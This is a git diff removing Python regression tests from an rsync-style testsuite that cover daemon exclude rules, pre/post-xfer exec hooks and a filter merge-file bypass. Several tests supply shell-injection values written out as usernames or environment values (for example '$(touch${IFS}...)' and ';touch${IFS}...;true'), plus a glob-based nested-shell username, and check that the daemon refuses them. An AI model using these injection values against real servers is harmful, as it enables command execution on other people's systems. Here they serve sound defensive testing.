dir form: protects the subtree\n-    ('triple',  '/excluded/***', False),  # documented subtree form: protects\n-]\n-\n-base = SCRATCHDIR / 'daemon-exclude-namebased'\n-rmtree(base)\n-base.mkdir()\n-src = base / 'hosts'\n-src.write_text(\"127.0.0.1 localhost\\n\")\n-\n-modules = []\n-for name, pattern, _ in CASES:\n-    mod = base / name\n-    (mod / 'excluded').mkdir(parents=True)\n-    modules.append((name, {'path': str(mod), 'read only': 'no', 'exclude': pattern}))\n-\n-url = start_test_daemon(write_daemon_conf(modules), DAEMON_PORT)\n-\n-for name, pattern, expect_landed in CASES:\n-    subprocess.run(\n-        rsync_argv('-a', str(src), f'{url}{name}/excluded/x2.tx'),\n-        stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-    landed = (base / name / 'excluded' / 'x2.tx').exists()\n-    if landed != expect_landed:\n-        verb = \"did not land\" if expect_landed else \"landed\"\n-        test_fail(\n-            f\"exclude={pattern!r}: a file push to excluded/x2.tx {verb} \"\n-            f\"(landed={landed}, expected {expect_landed}).  A bare anchored name \"\n-            \"protects only an entry of that exact name; a subtree needs a \"\n-            \"trailing-slash or /*** pattern (rsyncd.conf(5)).\")\n-\n-print(\"daemon exclude is name-based: a bare-name pattern does not protect the \"\n-      \"subtree; a /dir/ or /dir/*** pattern does (3.2.7-equivalent)\")\ndiff --git a/testsuite/daemon-exec-metachar-documented-limit_test.py b/testsuite/daemon-exec-metachar-documented-limit_test.py\ndeleted file mode 100644\nindex 4bf638e..0000000\n--- a/testsuite/daemon-exec-metachar-documented-limit_test.py\n+++ /dev/null\n@@ -1,128 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"The hook metacharacter refusal applies to operator values too, as documented.\n-\n-rsyncd.conf(5) states this under `pre-xfer exec`: a %VAR% expanded into a hook\n-command is refused if the value carries a shell-active character, and that\n-applies to EVERY %RSYNC_*% value including ones the operator supplied.  A module\n-whose path contains a space therefore cannot be interpolated into a hook, and\n-the documented alternative is to read the value from the environment instead.\n-\n-The refusal is deliberate rather than an oversight -- rsync cannot tell an\n-operator's space from an attacker's once both are inside the same string, and\n-`path` may itself be built from a peer value (`path = /home/%RSYNC_USER_NAME%`).\n-It is pinned here because it is a real usability cost, and if it ever changes\n-the manual has to change with it.\n-\"\"\"\n-\n-import os\n-import shlex\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, makepath, rmtree, rsync_argv, start_test_daemon, test_fail,\n-    write_daemon_conf,\n-)\n-\n-REFUSAL = 'holds a shell metacharacter'\n-\n-# The daemon inherits this process's environment.  If RSYNC_MODULE_PATH happens\n-# to be set already, %RSYNC_MODULE_PATH% expands from the inherited value and\n-# the workaround half passes even when rsync never exported it -- the check\n-# would prove nothing.  Poison it, so a pass means rsync overwrote it.\n-os.environ['RSYNC_MODULE_PATH'] = '/inherited-value-that-rsync-must-overwrite'\n-\n-base = SCRATCHDIR / 'exec-metachar-documented-limit'\n-rmtree(base)\n-module = base / 'My Backups'          # an ordinary directory name with a space\n-makepath(module)\n-(module / 'f.txt').write_text('DATA\\n')\n-\n-# --- interpolated: refused ------------------------------------------------\n-dest = base / 'dest'\n-makepath(dest)\n-conf = write_daemon_conf([\n-    ('m', {\n-        'path': str(module), 'read only': 'yes',\n-        'pre-xfer exec': \"sh -c 'printf %s \\\"%RSYNC_MODULE_PATH%\\\" >/dev/null'\",\n-    }),\n-], name='exec-metachar-interpolated.conf')\n-url = start_test_daemon(conf, 12991)\n-\n-proc = subprocess.run(rsync_argv('-r', f'{url}m/', f'{dest}/'),\n-                      stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)\n-if proc.returncode == 0:\n-    test_fail('a module path containing a space was interpolated into a hook '\n-              'and served; rsyncd.conf(5) says it is refused, so either the '\n-              f'manual or the code is now wrong: {proc.stdout.strip()[:300]!r}')\n-\n-log = SCRATCHDIR / 'rsyncd.log'\n-log_text = log.read_text(errors='replace') if log.exists() else ''\n-if REFUSAL not in log_text:\n-    test_fail('the transfer failed, but not with the documented metacharacter '\n-              f'refusal -- something else stopped it: {proc.stdout.strip()[:300]!r}')\n-\n-# --- read from the environment: works -------------------------------------\n-# The manual offers this as the way to use such a value, so it has to work.\n-hook = base / 'hook.sh'\n-witness = base / 'saw.txt'\n-hook.write_text(f'#!/bin/sh\\nprintf %s \"$RSYNC_MODULE_PATH\" > {shlex.quote(str(witness))}\\n')\n-hook.chmod(0o755)\n-\n-dest2 = base / 'dest2'\n-makepath(dest2)\n-conf2 = write_daemon_conf([\n-    ('m', {'path': str(module), 'read only': 'yes',\n-           'pre-xfer exec': shlex.quote(str(hook))}),\n-], globals={'pid file': str(base / 'rsyncd2.pid')},\n-    name='exec-metachar-environment.conf')\n-url2 = start_test_daemon(conf2, 12992)\n-\n-proc2 = subprocess.run(rsync_argv('-r', f'{url2}m/', f'{dest2}/'),\n-                       stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)\n-if proc2.returncode != 0:\n-    test_fail('the documented workaround failed: reading $RSYNC_MODULE_PATH '\n-              'from the environment must not be subject to the refusal '\n-              f'({proc2.stdout.strip()[:300]!r})')\n-if not (dest2 / 'f.txt').is_file():\n-    test_fail(f'workaround reported success but transferred nothing: {proc2.stdout!r}')\n-if not witness.is_file():\n-    test_fail('the hook did not run at all, so the workaround is unproven')\n-got = witness.read_text()\n-if got != str(module):\n-    test_fail(f'the hook received {got!r} from the environment, not the module '\n-              f'path {str(module)!r} -- the space did not survive')\n-\n-# The manual lists the refused characters; only the space is exercised above,\n-# so the rest would silently become wrong if the set were narrowed.  Each module\n-# path must EXIST and each daemon needs its own log: a path that is merely\n-# missing makes the transfer fail on its own, and checking only the exit status\n-# then passes whether or not the character was refused.\n-port = 12995\n-for ch in ('*', '?', '[', ']', '#', '!', '~', '{', '}'):\n-    mod = base / f'ch{ord(ch)}' / f'x{ch}y'\n-    makepath(mod)\n-    (mod / 'f.txt').write_text('DATA\\n')\n-    chlog = base / f'log{ord(ch)}'\n-    c = write_daemon_conf([\n-        ('m', {'path': str(mod), 'read only': 'yes',\n-               'pre-xfer exec': \"sh -c 'printf %s \\\"%RSYNC_MODULE_PATH%\\\" >/dev/null'\"}),\n-    ], globals={'pid file': str(base / f'pid{ord(ch)}'), 'log file': str(chlog)},\n-        name=f'exec-metachar-{ord(ch)}.conf')\n-    u = start_test_daemon(c, port)\n-    port += 1\n-    out = base / f'out{ord(ch)}'\n-    makepath(out)\n-    r = subprocess.run(rsync_argv('-r', f'{u}m/', f'{out}/'),\n-                       stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)\n-    if r.returncode == 0:\n-        test_fail(f'a module path containing {ch!r} was interpolated into a hook '\n-                  'and served; rsyncd.conf(5) lists it as refused')\n-    chlog_text = chlog.read_text(errors='replace') if chlog.is_file() else ''\n-    if REFUSAL not in chlog_text:\n-        test_fail(f'the transfer for {ch!r} failed, but not with the documented '\n-                  f'refusal -- the module path exists, so something else went '\n-                  f'wrong and this check proves nothing: {r.stdout.strip()[:200]!r}')\n-\n-print('an operator value with a space is refused when interpolated, and works '\n-      'when read from the environment, exactly as rsyncd.conf(5) says; every '\n-      'documented character is refused too')\ndiff --git a/testsuite/daemon-exec-metachar-refused_test.py b/testsuite/daemon-exec-metachar-refused_test.py\ndeleted file mode 100644\nindex 7c7d161..0000000\n--- a/testsuite/daemon-exec-metachar-refused_test.py\n+++ /dev/null\n@@ -1,115 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"A peer value carrying shell syntax must not reach a shell-executed hook.\n-\n-Context-aware quoting is only correct for a single level of shell parsing, and\n-a hook may re-parse the substituted word in a nested shell:\n-\n-    pre-xfer exec = sh -c 'printf %s %RSYNC_USER_NAME% >out'\n-\n-There the level-1 quotes are removed before the inner shell sees the value, so\n-no amount of escaping keeps it as data.  The daemon therefore refuses the value\n-outright.  This checks the refusal in each quote context, including the nested\n-form, and -- so the rule cannot be satisfied by refusing everything -- that an\n-ordinary value still runs the hook and arrives intact.\n-\n-One daemon serves a module per case: a second daemon cannot lock the shared pid\n-file, so starting one per case would only work in the stdio-pipe transport.\n-\"\"\"\n-\n-import os\n-import subprocess\n-from pathlib import Path\n-\n-from rsyncfns import (\n-    FROMDIR, SCRATCHDIR, make_tree, makepath, rmtree, rsync_argv,\n-    start_test_daemon, test_fail, write_daemon_conf,\n-)\n-\n-PORT = 12943\n-\n-src = FROMDIR\n-rmtree(src)\n-make_tree(src, depth=1)\n-\n-# Each quote context the tracker distinguishes, plus the nested-shell form that\n-# defeats escaping entirely.  %s is printf's format; the value is its argument.\n-TEMPLATES = {\n-    'unq': 'printf %s {v} >{out}',\n-    'sq': \"printf %s '{v}' >{out}\",\n-    'dq': 'printf %s \"{v}\" >{out}',\n-    'dqapos': 'printf %s \"it\\'s {v}\" >{out}',\n-    'nest': \"sh -c 'printf %s {v} >{out}'\",\n-}\n-\n-# No spaces or ':' are possible in a wire username; ${IFS} supplies the\n-# separator once command substitution is live.\n-MARKER = 'metachar-pwned'\n-HOSTILE = f'$(touch${{IFS}}{MARKER})x'\n-BENIGN = 'alice.b-1_x'\n-\n-sentinel = Path.cwd() / MARKER\n-if sentinel.exists():\n-    sentinel.unlink()\n-\n-modules = []\n-cases = []\n-for label, template in TEMPLATES.items():\n-    for kind, user in (('bad', HOSTILE), ('ok', BENIGN)):\n-        mod = f'{label}_{kind}'\n-        dest = SCRATCHDIR / f'metachar-dest-{mod}'\n-        rmtree(dest)\n-        makepath(dest)\n-        out = SCRATCHDIR / f'metachar-out-{mod}'\n-        if out.exists():\n-            out.unlink()\n-        secrets = SCRATCHDIR / f'metachar-{mod}.secrets'\n-        secrets.write_text(f'{user}:pw\\n')\n-        secrets.chmod(0o600)\n-        modules.append((mod, {\n-            'path': str(dest),\n-            'read only': 'no',\n-            'use chroot': 'no',\n-            'auth users': '*',\n-            'secrets file': str(secrets),\n-            'pre-xfer exec': template.format(v='%RSYNC_USER_NAME%', out=out),\n-        }))\n-        cases.append((mod, kind, user, out))\n-\n-pwfile = SCRATCHDIR / 'metachar.password'\n-pwfile.write_text('pw\\n')\n-pwfile.chmod(0o600)\n-\n-conf = write_daemon_conf(modules, name='metachar.conf')\n-url = start_test_daemon(conf, PORT)\n-dlog = SCRATCHDIR / 'rsyncd.log'\n-\n-os.environ['RSYNC_PASSWORD'] = 'wrong-environment-fallback'\n-for mod, kind, user, out in cases:\n-    before = len(dlog.read_text(errors='replace')) if dlog.exists() else 0\n-    user_url = url.replace('rsync://', f'rsync://{user}@', 1) + mod + '/'\n-    proc = subprocess.run(\n-        rsync_argv('-r', f'--password-file={pwfile}', f'{src}/', user_url),\n-        stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)\n-    log = (dlog.read_text(errors='replace')[before:]) if dlog.exists() else ''\n-    ctx = (f'[{mod}] rc={proc.returncode} stderr={proc.stderr.strip()[:200]!r} '\n-           f'log={log[-300:]!r}')\n-\n-    if kind == 'bad':\n-        if sentinel.exists():\n-            sentinel.unlink()\n-            test_fail(f'peer value executed as shell syntax {ctx}')\n-        if proc.returncode == 0:\n-            test_fail(f'hostile value did not fail the transfer {ctx}')\n-        # Make sure it failed for the intended reason, not some other error.\n-        if 'shell metacharacter' not in log:\n-            test_fail(f'transfer failed but not via the metacharacter refusal {ctx}')\n-    else:\n-        if proc.returncode != 0:\n-            test_fail(f'refusal rule rejected an ordinary value {ctx}')\n-        if not out.exists():\n-            test_fail(f'positive control failed: hook did not run {ctx}')\n-        got = out.read_text()\n-        if BENIGN not in got:\n-            test_fail(f'hook did not receive the value intact: {got!r} {ctx}')\n-\n-print('shell metacharacters in peer values are refused; ordinary values still run')\ndiff --git a/testsuite/daemon-exec-rsync-env-shell-escape_test.py b/testsuite/daemon-exec-rsync-env-shell-escape_test.py\ndeleted file mode 100644\nindex f0053e1..0000000\n--- a/testsuite/daemon-exec-rsync-env-shell-escape_test.py\n+++ /dev/null\n@@ -1,32 +0,0 @@\n-#!/usr/bin/env python3\n-import os\n-import subprocess\n-\n-from rsyncfns import SCRATCHDIR, rmtree, rsync_argv, start_test_daemon, test_fail, write_daemon_conf\n-\n-base = SCRATCHDIR / 'exec-env-escape'\n-rmtree(base)\n-src = base / 'src'\n-src.mkdir(parents=True)\n-(src / 'f').write_text('payload\\n')\n-sentinel = base / 'pwned'\n-\n-os.environ['RSYNC_REQUEST'] = f\"ok;touch {sentinel};#\"\n-conf = write_daemon_conf([\n-    ('execmod', {'path': str(src), 'read only': 'yes',\n-                 'pre-xfer exec': 'sh -c \"printf %RSYNC_REQUEST% >/dev/null\"'}),\n-])\n-url = start_test_daemon(conf, 12936)\n-proc = subprocess.run(\n-    rsync_argv('-r', f'{url}execmod/'),\n-    stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)\n-os.environ.pop('RSYNC_REQUEST', None)\n-\n-if sentinel.exists():\n-    test_fail(\"daemon exec-hook %RSYNC_REQUEST% expansion executed injected shell syntax\")\n-# A value carrying shell syntax is refused outright rather than quoted, so the\n-# hook must not run and the transfer must fail closed.\n-if proc.returncode == 0:\n-    test_fail(\"daemon exec-hook accepted a %RSYNC_REQUEST% holding shell syntax\")\n-\n-print(\"daemon-exec-rsync-env-shell-escape: %RSYNC_*% holding shell syntax is refused\")\ndiff --git a/testsuite/daemon-exec-second-shell-argument-injection_test.py b/testsuite/daemon-exec-second-shell-argument-injection_test.py\ndeleted file mode 100755\nindex 38342a8..0000000\n--- a/testsuite/daemon-exec-second-shell-argument-injection_test.py\n+++ /dev/null\n@@ -1,105 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"A peer value with no EXECUTING character still selects a command.\n-\n-`pre-xfer exec = sh -c '.../%RSYNC_USER_NAME% ...'` re-parses the substituted\n-word in a SECOND shell.  rsync escapes for the quoting context it sees, which is\n-correct for the outer shell only; the inner one gets the value bare.  A username\n-of `touc?` carries nothing that can execute in one level of parsing -- which\n-is why the original character set let it through -- yet the inner shell\n-glob-expands `<dir>/touc?` to `<dir>/touch` and runs it.  ('?' is refused now,\n-which is what this test pins; it was not when the hole was found.)  The substitution has stopped being data and has chosen the command.\n-\n-Two things this test has to avoid.\n-\n-It must not pass merely because nothing happened: an absent marker plus a\n-non-zero exit is equally true when authentication failed, when the daemon could\n-not start, or when the globbed command was missing.  So the daemon log is\n-required to carry the specific refusal.\n-\n-And it must not pass because the attack was inert here.  The control below runs\n-the same nested-shell expansion directly and requires it to work, so a pass\n-means rsync refused a live attack rather than that the mechanism never fired in\n-this environment.  The command it globs onto is one this test creates, rather\n-than /usr/bin/touch -- a hardcoded system path would make the whole thing hinge\n-on a binary the build never guaranteed.\n-\"\"\"\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, makepath, rmtree, rsync_argv, start_test_daemon, test_fail,\n-    write_daemon_conf,\n-)\n-\n-REFUSAL = 'refusing to run shell hook: %RSYNC_USER_NAME% holds a shell metacharacter'\n-\n-base = SCRATCHDIR / 'exec-second-shell-argv'\n-rmtree(base)\n-module = base / 'module'\n-makepath(module)\n-sentinel = module / 'pwned'\n-\n-# The command the glob resolves to.  Ours, so the test does not depend on a\n-# system binary's presence or on its argument handling.  Exactly one file in\n-# this directory matches \"touc?\", so the expansion is unambiguous.\n-bindir = base / 'bin'\n-makepath(bindir)\n-victim = bindir / 'touch'\n-victim.write_text('#!/bin/sh\\n: > \"$1\"\\n')\n-victim.chmod(0o755)\n-\n-# Data to the outer shell, a pathname expansion in the nested one.  '?' IS in\n-# shell_unsafe_value()'s set today -- that is the point: this asserts it stays\n-# there.\n-user = 'touc?'\n-password = 'known-password'\n-secrets = base / 'secrets'\n-secrets.write_text(f'{user}:{password}\\n')\n-secrets.chmod(0o600)\n-pwfile = base / 'password'\n-pwfile.write_text(password + '\\n')\n-pwfile.chmod(0o600)\n-\n-# --- positive control: the attack must be live in this environment ---------\n-control = base / 'control-marker'\n-# The OUTER shell must be the one rsync would use -- shell_exec() honours\n-# RSYNC_SHELL -- or the control can succeed on /bin/sh while rsync's hook path\n-# could not have run at all, and \"the attack is live here\" would be false.\n-outer = os.environ.get('RSYNC_SHELL') or '/bin/sh'\n-subprocess.run([outer, '-c', f\"sh -c '{bindir}/touc? {control}'\"],\n-               stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)\n-if not control.exists():\n-    test_fail(f'the nested-shell glob did not select {victim} in this '\n-              'environment, so this test cannot show rsync refusing it; the '\n-              'check below would pass no matter what rsync did')\n-\n-# --- the daemon must refuse the same value --------------------------------\n-conf = write_daemon_conf([\n-    ('m', {\n-        'path': str(module), 'read only': 'no', 'auth users': '*',\n-        'secrets file': str(secrets),\n-        'pre-xfer exec': f\"sh -c '{bindir}/%RSYNC_USER_NAME% {sentinel}'\",\n-    }),\n-])\n-url = start_test_daemon(conf, 12983).replace('rsync://', f'rsync://{user}@', 1) + 'm/'\n-proc = subprocess.run(\n-    rsync_argv('-r', f'--password-file={pwfile}', f'{module}/', url),\n-    stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)\n-\n-if sentinel.exists():\n-    test_fail('the nested-shell peer value selected and ran a command: '\n-              f'{sentinel} was created')\n-if proc.returncode == 0:\n-    test_fail(f'the daemon accepted a shell-active peer value: {proc.stdout!r}')\n-\n-log = SCRATCHDIR / 'rsyncd.log'\n-log_text = log.read_text(errors='replace') if log.exists() else ''\n-if REFUSAL not in log_text:\n-    test_fail('the transfer failed, but not because the value was refused for '\n-              'holding a shell metacharacter -- an authentication or startup '\n-              'failure would look exactly like this, and would pass without '\n-              f'the guard: client={proc.stdout.strip()[:200]!r}')\n-\n-print('the daemon refused a peer value that a nested shell would have turned '\n-      'into a command')\ndiff --git a/testsuite/daemon-exec-singlequote-injection_test.py b/testsuite/daemon-exec-singlequote-injection_test.py\ndeleted file mode 100644\nindex 60d533b..0000000\n--- a/testsuite/daemon-exec-singlequote-injection_test.py\n+++ /dev/null\n@@ -1,84 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"PoC: shell-escaped %RSYNC_USER_NAME% is unsafe inside single quotes.\n-\n-expand_vars_shell_escape() produces a shell word of the form 'value'.  That is\n-safe when substituted into an unquoted command, but a common hook such as\n-\n-    pre-xfer exec = printf '%RSYNC_USER_NAME%' >/dev/null\n-\n-already supplies single quotes.  The generated quotes cancel those quotes and\n-leave an authenticated client's username in shell syntax context.\n-\"\"\"\n-\n-import os\n-import subprocess\n-from pathlib import Path\n-\n-from rsyncfns import (\n-    FROMDIR, SCRATCHDIR, make_tree, makepath, rmtree, rsync_argv,\n-    start_test_daemon, test_fail, write_daemon_conf,\n-)\n-\n-PORT = 12939\n-\n-src = FROMDIR\n-rmtree(src)\n-make_tree(src, depth=1)\n-dest = SCRATCHDIR / 'exec-singlequote-dest'\n-rmtree(dest)\n-makepath(dest)\n-\n-# A slash would be interpreted as the URL's module separator before the client\n-# sends the username, so create the marker in the daemon's inherited cwd.\n-sentinel = Path.cwd() / 'exec-singlequote-pwned'\n-if sentinel.exists():\n-    sentinel.unlink()\n-\n-# No spaces or ':' are needed in the wire username.  ${IFS} becomes a shell\n-# separator only after the broken quote composition exposes the value.\n-user = f';touch${{IFS}}{sentinel.name};true'\n-password = 'known-password'\n-\n-secrets = SCRATCHDIR / 'exec-singlequote.secrets'\n-secrets.write_text(f'{user}:{password}\\n')\n-secrets.chmod(0o600)\n-pwfile = SCRATCHDIR / 'exec-singlequote.password'\n-pwfile.write_text(password + '\\n')\n-pwfile.chmod(0o600)\n-\n-conf = write_daemon_conf([\n-    ('hook', {\n-        'path': str(dest),\n-        'read only': 'no',\n-        'use chroot': 'no',\n-        'auth users': '*',\n-        'secrets file': str(secrets),\n-        'pre-xfer exec': \"printf '%RSYNC_USER_NAME%' >/dev/null\",\n-    }),\n-], name='exec-singlequote.conf')\n-url = start_test_daemon(conf, PORT)\n-\n-os.environ['RSYNC_PASSWORD'] = 'wrong-environment-fallback'\n-user_url = url.replace('rsync://', f'rsync://{user}@', 1) + 'hook/'\n-proc = subprocess.run(\n-    rsync_argv('-r', f'--password-file={pwfile}', f'{src}/', user_url),\n-    stdout=subprocess.PIPE,\n-    stderr=subprocess.PIPE,\n-    text=True,\n-)\n-\n-if sentinel.exists():\n-    test_fail(\n-        \"authenticated metacharacter username executed through a \"\n-        f\"single-quoted %RSYNC_USER_NAME% hook (rc={proc.returncode}):\\n\"\n-        f\"{proc.stderr}\"\n-    )\n-# The username carries shell syntax, so the daemon refuses it rather than\n-# trying to quote it; the transfer must fail closed.\n-if proc.returncode == 0:\n-    test_fail(\n-        \"daemon accepted an authenticated username holding shell syntax \"\n-        f\"(rc={proc.returncode}):\\n{proc.stderr}\"\n-    )\n-\n-print(\"single-quoted daemon hook refused a username holding shell syntax\")\ndiff --git a/testsuite/daemon-exec_test.py b/testsuite/daemon-exec_test.py\ndeleted file mode 100644\nindex a0669b7..0000000\n--- a/testsuite/daemon-exec_test.py\n+++ /dev/null\n@@ -1,86 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Daemon coverage: pre-xfer exec and post-xfer exec.\n-\n-A module's pre-xfer/post-xfer exec hooks must run with the documented\n-environment (RSYNC_MODULE_NAME, RSYNC_EXIT_STATUS, ...), and a non-zero\n-pre-xfer exec must abort the transfer.\n-\"\"\"\n-\n-import shlex\n-import subprocess\n-import time\n-\n-from rsyncfns import (\n-    FROMDIR, SCRATCHDIR,\n-    make_tree, makepath, rmtree, rsync_argv, start_test_daemon, test_fail,\n-    write_daemon_conf,\n-)\n-\n-\n-def wait_for(path, want, secs=5):\n-    \"\"\"Poll for a marker file to contain `want`. post-xfer exec runs on the\n-    daemon side after the client disconnects (a real race under --use-tcp),\n-    so we must wait for it rather than check immediately.\"\"\"\n-    deadline = time.monotonic() + secs\n-    while time.monotonic() < deadline:\n-        if path.is_file() and path.read_text().strip() == want:\n-            return True\n-        time.sleep(0.05)\n-    return False\n-\n-DAEMON_PORT = 12889\n-\n-src = FROMDIR\n-rmtree(src)\n-make_tree(src, depth=3)\n-\n-markers = SCRATCHDIR / 'markers'\n-rmtree(markers)\n-makepath(markers)\n-hookdir = SCRATCHDIR / 'hookdest'\n-faildir = SCRATCHDIR / 'faildest'\n-makepath(hookdir, faildir)\n-\n-\n-def script(name, body):\n-    p = SCRATCHDIR / name\n-    p.write_text('#!/bin/sh\\n' + body)\n-    p.chmod(0o755)\n-    return p\n-\n-\n-pre = script('pre.sh', f'echo \"$RSYNC_MODULE_NAME\" > {shlex.quote(str(markers / \"pre.out\"))}\\nexit 0\\n')\n-post = script('post.sh', f'echo \"$RSYNC_EXIT_STATUS\" > {shlex.quote(str(markers / \"post.out\"))}\\n'\n-                         'exit 0\\n')\n-prefail = script('prefail.sh', 'exit 1\\n')\n-\n-conf = write_daemon_conf([\n-    ('hook', {'path': hookdir, 'read only': 'no',\n-              'pre-xfer exec': shlex.quote(str(pre)),\n-               'post-xfer exec': shlex.quote(str(post))}),\n-    ('failhook', {'path': faildir, 'read only': 'no',\n-                  'pre-xfer exec': shlex.quote(str(prefail))}),\n-])\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-# --- pre/post hooks run with the documented environment ---------------------\n-proc = subprocess.run(rsync_argv('-a', f'{src}/', f'{url}hook/'),\n-                      stdout=subprocess.DEVNULL, stderr=subprocess.PIPE,\n-                      text=True)\n-if proc.returncode not in (0, 23):\n-    test_fail(f\"transfer through exec-hook module failed: {proc.stderr}\")\n-if not wait_for(markers / 'pre.out', 'hook'):\n-    test_fail(\"pre-xfer exec did not run with RSYNC_MODULE_NAME=hook\")\n-if not wait_for(markers / 'post.out', '0'):\n-    test_fail(\"post-xfer exec did not run with RSYNC_EXIT_STATUS=0\")\n-\n-# --- a failing pre-xfer exec aborts the transfer ----------------------------\n-proc = subprocess.run(rsync_argv('-a', f'{src}/', f'{url}failhook/'),\n-                      stdout=subprocess.DEVNULL, stderr=subprocess.PIPE,\n-                      text=True)\n-if proc.returncode == 0:\n-    test_fail(\"a failing pre-xfer exec did not abort the transfer\")\n-if list(faildir.iterdir()):\n-    test_fail(\"transfer wrote files despite a failing pre-xfer exec\")\n-\n-print(\"daemon-exec: pre-xfer/post-xfer exec env + abort-on-failure verified\")\ndiff --git a/testsuite/daemon-files-from-subdir_test.py b/testsuite/daemon-files-from-subdir_test.py\ndeleted file mode 100644\nindex 6516bb5..0000000\n--- a/testsuite/daemon-files-from-subdir_test.py\n+++ /dev/null\n@@ -1,33 +0,0 @@\n-#!/usr/bin/env python3\n-# --files-from from a module subdir must not send or remove a filter-excluded module-root file.\n-\n-import shutil\n-\n-from rsyncfns import (\n-    SCRATCHDIR, assert_exists, assert_not_exists, makepath, run_rsync,\n-    start_test_daemon, test_fail, write_daemon_conf,\n-)\n-\n-DAEMON_PORT = 12912\n-\n-module = SCRATCHDIR / 'module'\n-listed = module / 'subdir' / 'file.txt'\n-excluded = module / 'file.txt'\n-dst = SCRATCHDIR / 'dst'\n-makepath(listed.parent)\n-listed.write_text(\"listed\\n\")\n-excluded.write_text(\"hidden\\n\")\n-shutil.copystat(listed, excluded)\n-listing = SCRATCHDIR / 'files-from.list'\n-listing.write_text(\"file.txt\\n\")\n-\n-conf = write_daemon_conf([\n-    ('mod', {'path': str(module), 'read only': 'no', 'filter': '+ /subdir/*** - *'}),\n-])\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-run_rsync('-rt', '--remove-source-files', f'--files-from={listing}', f'{url}mod/subdir/', f'{dst}/')\n-if (dst / 'file.txt').read_text() != \"listed\\n\":\n-    test_fail(\"the pull sent the excluded module-root file\")\n-assert_not_exists(listed, label=\"--remove-source-files\")\n-assert_exists(excluded, label=\"excluded module-root file\")\ndiff --git a/testsuite/daemon-filter-merge-bypass_test.py b/testsuite/daemon-filter-merge-bypass_test.py\ndeleted file mode 100644\nindex 5e06cbd..0000000\n--- a/testsuite/daemon-filter-merge-bypass_test.py\n+++ /dev/null\n@@ -1,132 +0,0 @@\n-#!/usr/bin/env python3\n-# Daemon-side --filter merge-file bypasses the module's daemon_filter_list.\n-#\n-# Threat (Mitchell Benjamin report, May 2026):\n-#   A daemon module has `filter = - /secret/***` to hide its /secret/\n-#   subtree from clients.  A client that connects to that module with\n-#       -M --filter=._/secret/rules\n-#   (i.e. --remote-option=--filter=._<path>) makes the daemon's option\n-#   parser run parse_filter_str() on the server side.  That goes through\n-#   parse_merge_name() (exclude.c:599), which under sanitize_paths=True\n-#   prepends `module_dir` to absolute merge-file paths, then calls\n-#   parse_filter_file().\n-#\n-#   parse_filter_file() (exclude.c:1457) *does* check daemon_filter_list\n-#   before fopen(), but against the post-merge-name absolute path\n-#   (e.g. /srv/rsync/MOD/secret/rules) — the daemon's anchored rule\n-#   `- /secret/***` only matches the module-relative form `/secret/...`,\n-#   so the check passes and fopen() succeeds.\n-#\n-#   Compare options.c:1522-1544 (OPT_EXCLUDE_FROM / OPT_INCLUDE_FROM)\n-#   which strips `module_dirlen` from the front BEFORE check_filter():\n-#       dir = cp + (*cp == '/' ? module_dirlen : 0);\n-#       clean_fname(dir, CFN_COLLAPSE_DOT_DOT_DIRS);\n-#       rej = check_filter(&daemon_filter_list, FLOG, dir, 0) < 0;\n-#   The merge-file path lacks this strip.  That asymmetry is the bug.\n-#\n-# Oracle: make /secret/rules contain `- *` (exclude everything).  When the\n-#   daemon's sender parses it, the rule joins filter_list and excludes\n-#   public.txt too.  So:\n-#     * baseline pull (no --filter)        -> public.txt arrives.\n-#     * attack pull (--filter=._/secret/rules):\n-#         - if vulnerable: public.txt is EXCLUDED (rules file was parsed\n-#                          and its rule applied).\n-#         - if fixed:      public.txt still arrives (rules file refused\n-#                          before fopen()).\n-#\n-#   Negative control: --remote-option=--exclude-from=/secret/rules is\n-#   already rejected by the daemon (the working code path).  We don't\n-#   require it as a hard assertion (the daemon may reject early before we\n-#   can introspect), but it is documented behaviour.\n-#\n-# Suggested fix: in parse_filter_file() (exclude.c:1457), strip\n-# module_dirlen the same way OPT_EXCLUDE_FROM does, OR have\n-# parse_merge_name() expose the module-relative form for the daemon-filter\n-# check and use the absolute form only for fopen().\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, makepath, rmtree, rsync_argv, start_test_daemon,\n-    test_fail, write_daemon_conf,\n-)\n-\n-DAEMON_PORT = 12921\n-\n-# Module root and the two files: a public one (the baseline transfer\n-# witness) and the daemon-hidden rules file (the attack target).\n-mod = SCRATCHDIR / 'srvmod'\n-rmtree(mod)\n-makepath(mod / 'secret')\n-(mod / 'public.txt').write_text(\"PUBLIC\\n\")\n-# A valid rsync filter rule that, if parsed, will exclude everything ---\n-# including public.txt.  The point of the test is that the daemon should\n-# never open this file at all.\n-(mod / 'secret' / 'rules').write_text(\"- *\\n\")\n-\n-conf = write_daemon_conf([\n-    ('mod', {'path': str(mod),\n-             'read only': 'yes',\n-             # Anchored module-relative rule: matches /secret/anything but\n-             # NOT the absolute /<module-path>/secret/anything form that\n-             # parse_merge_name() produces.  This is exactly the rule\n-             # shape Mitchell's report uses.\n-             'filter': '- /secret/***'}),\n-])\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-\n-def pull(args, dest):\n-    rmtree(dest)\n-    makepath(dest)\n-    return subprocess.run(rsync_argv('-a', *args, f'{url}mod/', f'{dest}/'),\n-                          stdout=subprocess.DEVNULL,\n-                          stderr=subprocess.PIPE, text=True)\n-\n-\n-# -- baseline: public.txt is delivered without any client filter -----------\n-base_dest = SCRATCHDIR / 'base'\n-rc = pull([], base_dest)\n-if rc.returncode not in (0, 23):\n-    test_fail(f\"baseline pull failed (rc={rc.returncode}): {rc.stderr!r}\")\n-if not (base_dest / 'public.txt').is_file():\n-    